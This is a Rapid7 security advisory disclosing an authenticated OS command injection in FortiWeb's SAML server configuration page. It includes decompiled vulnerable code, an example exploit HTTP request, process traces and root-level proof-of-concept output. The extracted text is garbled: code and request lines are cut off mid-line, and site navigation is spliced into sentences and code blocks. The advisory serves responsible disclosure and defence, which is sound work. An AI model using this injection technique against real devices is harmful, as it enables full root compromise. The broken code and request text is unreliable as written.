Fortinet FortiWeb OS Command Injection

Aug 17, 2021 | 5 min read |

Tod Beardsley

Last updated at Wed, 27 Dec 2023 14:59:55 GMT

An OS command injection vulnerability in FortiWeb's management interface (version 6.3.11 and prior) can allow a remote, authenticated attacker to execute arbitrary commands on the system, via the SAML server configuration page. This

Topics

Popular Tags

Command ('OS Command Injection') and has a CVSSv3 base score of 8.7 . This vulnerability appears to be related to CVE-2021-22123, which was addressed in FG-IR-20-120 .

Product Description

Fortinet FortiWeb is a web application firewall (WAF), designed to catch both known and unknown exploits targeting the protected web applications before they have a chance to execute. More about FortiWeb can be found at the vendor's website .

Credit

Metasploit

Metasploit Weekly Wrapup

Vulnerability Management

Research **Logentries**

Detection and Response

Related Posts

Fortinet FortiManager CVE-2024-47575 Exploited in Zero-Day Attacks READ MORE

Patch Tuesday - October 2024 READ MORE

Modernizing Your VM Program with Rapid7 Exposure Command: A Path to Effective

accordance with Rapid7's vulnerability disclosure policy.

Exploitation

An attacker, who is first authenticated to the management interface of the FortiWeb device, can smuggle commands using backticks in the "Name" field of the SAML Server configuration page. These commands are then executed as the root user of the underlying operating system. The affected code is noted below:

```
int move_metafile(char *path,
{
int iVar1;
char buf [512];
int nret;
snprintf(buf,0x200,"%s/%s","/d
iVar1 = access(buf,0);
if (iVar1 != 0) {
```

Multiple Vulnerabilities in Common Unix Printing System (CUPS)

READ MORE

```
}
}
snprintf(buf,0x200,"cp %s %s/%
"Metadata",&DAT_00212758);
iVar1 = system(buf);
return iVar1;
}
```

The HTTP POST request and response below demonstrates an example exploit of this vulnerability:

```
POST /api/v2.0/user/remoteser
Host: [redacted]
Cookie: [redacted]
User-Agent: [redacted]
Accept: application/json, text
Accept-Language: en-US,en;q=0.
Accept-Encoding: gzip, deflate
Referer: https://[redacted]/ro
X-Csrftoken: 814940160
Content-Type: multipart/form-d
Content-Length: 3068
Origin: https://[redacted]
Dnt: 1
Te: trailers
Connection: close
-----------------------------9
Content-Disposition: form-data
1
-----------------------------9
```

```
test
-----------------------------9
Content-Disposition: form-data
/saml.sso
-----------------------------9
Content-Disposition: form-data
8
-----------------------------9
Content-Disposition: form-data
30
-----------------------------9
Content-Disposition: form-data
post
-----------------------------9
Content-Disposition: form-data
1
-----------------------------9
Content-Disposition: form-data
/SAML2/POST
-----------------------------9
Content-Disposition: form-data
post
-----------------------------9
Content-Disposition: form-data
1
-----------------------------9
Content-Disposition: form-data
/SLO/POST
-----------------------------9
Content-Disposition: form-data
0
-----------------------------9
Content-Disposition: form-data
disable
```

```
Content-Disposition: form-data
Content-Type: text/xml
<?xml version="1.0"?>
<md:EntityDescriptor xmlns:md=
<md:IDPSSODescriptor WantAuthn
<md:KeyDescriptor use="signing
<ds:KeyInfo xmlns:ds="http://w
<ds:X509Data>
<ds:X509Certificate>test</ds:X
</ds:X509Data>
</ds:KeyInfo>
</md:KeyDescriptor>
<md:KeyDescriptor use="encrypt
<ds:KeyInfo xmlns:ds="http://w
<ds:X509Data>
<ds:X509Certificate>test</ds:X
</ds:X509Data>
</ds:KeyInfo>
</md:KeyDescriptor>
<md:NameIDFormat>urn:oasis:nam
<md:SingleSignOnService Bindin
</md:IDPSSODescriptor>
</md:EntityDescriptor>
----------------------------9
HTTP/1.1 500 Internal Server E
Date: Thu, 10 Jun 2021 11:59:4
Cache-Control: no-cache, no-st
Pragma: no-cache
Set-Cookie: [redacted]
X-Frame-Options: SAMEORIGIN
X-XSS-Protection: 1; mode=bloc
Content-Security-Policy: frame
X-Content-Type-Options: nosnif
Content-Length: 20
```

Note the smuggled 'touch' command is concatenated in the mkdir shell command:

```
[pid 12867] execve("/migadmin
[pid 13934] execve("/bin/sh",
[pid 13935] execve("/bin/touch
[pid 13936] execve("/bin/mkdir
```

Finally, the results of the 'touch' command can be seen on the local command line of the FortiWeb device:

```
/# ls -l /tmp/vulnerable
-rw-r--r--    1 root     0
/#
```

Impact

An attacker can leverage this vulnerability to take complete control of the affected device, with the highest possible privileges. They might install a persistent shell, crypto mining

exposed to the internet, they could use the compromised platform to reach into the affected network beyond the DMZ. Note, though, Rapid7 researchers were only able to identify less than three hundred total of these devices that appear to be exposing their management interfaces to the general internet.

Note that while authentication is a prerequisite for this exploit, this vulnerability could be combined with another authentication bypass issue, such as CVE-2020-29015 .

Remediation

In the absence of a patch, users are advised to disable the

the internet. Generally speaking, management interfaces for devices like FortiWeb should not be exposed directly to the internet anyway — instead, they should be reachable only via trusted, internal networks, or over a secure VPN connection.

Disclosure Timeline

- June, 2021: Issue discovered and validated by William Vu of Rapid7
- Thu, Jun 10, 2021: Initial disclosure to the vendor via their PSIRT Contact Form
- Fri, Jun 11, 2021: Acknowledged by the vendor (ticket 132097)

- Tue, Aug 17, 2021: Public disclosure via this post
- Tue, Aug 17, 2021: Vendor indicated that Fortiweb 6.4.1 is expected to include a fix, and will be released at the end of August

POST TAGS

Cybersecurity

Vulnerability Management

AUTHOR

Tod Beardsley

Director of Research at Rapid7, contributing author of several Rapid7 research papers, CVE Board member, and Metasploit collaborator.
https://infosec.exchange/@todb

VIEW TOD'S POSTS

Related Posts

EMERGENT THREAT RESPONSE

VULNERABILITY MANAGEMENT

Patch Tuesday - October 2024

VULNERABILITY MANAGEMENT

Modernizing Your VM Program with Rapid7 Exposure Command: A Path to Effective Continuous Threat Exposure Management

READ FULL POST

EMERGENT THREAT RESPONSE

Multiple Vulnerabilities in Common Unix Printing System (CUPS)

READ FULL POST

VIEW ALL POSTS

CUSTOMER SUPPORT

+1-866-390-8113 (Toll Free)

SALES SUPPORT

+1-866-772-7437 (Toll Free)

Need to report an Escalation or a Breach?

SOLUTIONS

The Command Platform

Exposure Command

Managed Threat Complete

Contact Us